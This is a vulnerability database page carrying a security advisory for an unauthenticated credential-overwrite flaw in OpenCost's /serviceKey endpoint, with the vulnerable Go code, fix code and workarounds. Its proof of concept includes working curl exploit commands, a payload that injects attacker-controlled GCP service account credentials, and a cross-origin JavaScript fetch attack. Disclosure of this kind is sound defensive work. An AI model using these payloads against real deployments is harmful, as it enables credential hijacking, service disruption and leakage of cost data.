Loading...
Skip to main content

CVE-2026-44300 — Vulnerability in github.com/opencost/opencost —...

HIGH

OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection

Published July 14, 2026Updated July 21, 2026Source: osv

Summary

## Summary OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters. --- ## Affected Versions - **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey` --- ## Vulnerability Details ### Root Cause The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation: ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS r.ParseForm() key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) } w.WriteHeader(http.StatusOK) } ``` **File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") } func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) } func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ``` ### Security Issues 1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable --- ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured #### Step 1: Create Namespace ```bash kubectl create namespace opencost ``` **Output**: ``` namespace/opencost created ``` #### Step 2: Add OpenCost Helm Repository ```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ``` **Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ``` #### Step 3: Deploy OpenCost ```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ``` **Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations **Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ``` #### Step 4: Verify Deployment ```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ``` **Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ``` #### Step 5: Verify Service Accessibility ```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ``` **Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ``` ### Exploitation #### Step 6: Check Initial State ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ``` Note: File does not exist initially #### Step 7: Verify CONFIG_PATH Configuration ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ``` **Output**: ``` CONFIG_PATH=/tmp ``` Note: CONFIG_PATH correctly set to /tmp #### Step 8: Execute Exploit ```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}' kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ``` **Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ``` **Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ``` Result: HTTP 200 OK - Request successful without authentication #### Step 9: Verify File Write ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ``` Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file --- ## Impact Analysis ### Direct Impact | Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content | ### Attack Scenario Analysis #### Scenario 1: GCP Credential Overwrite Leading to Service Disruption **Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops **Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ``` **Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials **CVSS Impact Score**: Availability impact is Low (A:L) --- #### Scenario 2: Malicious Credential Injection for Data Hijacking **Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project **Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com" }' curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ``` **Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information **Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction) **CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High --- #### Scenario 3: Cross-Origin Attack (CORS Exploitation) **Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack **Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint **Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ``` **Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network --- ### Vulnerability Limitations **What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate **Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed) --- ### Real-World Impact Assessment | Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks | **Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High** --- ## Remediation ### Immediate Actions (P0) #### 1. Add Authentication ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // ... existing logic } ``` #### 2. Implement Input Validation ```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") } requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } } if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") } return nil } ``` #### 3. Restrict CORS ```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ``` ### Long-term Solutions (P1) 1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions --- ## Workarounds Until a patch is available, implement these mitigations: 1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible --- ## References - **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)

Advisory Timeline

  • First published July 14, 2026 (90 days ago).
  • Last revised July 21, 2026 — 7 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/opencost/opencost to 1.119.1 or later
go get github.com/opencost/opencost@v1.119.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/opencost/opencost
go
All versions1.119.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.1 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-44300?
OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-44300?
CVE-2026-44300 affects github.com/opencost/opencost. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44300 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.1

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-wmj8-9953-vff5
GO-2026-5974

Related CVEs

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies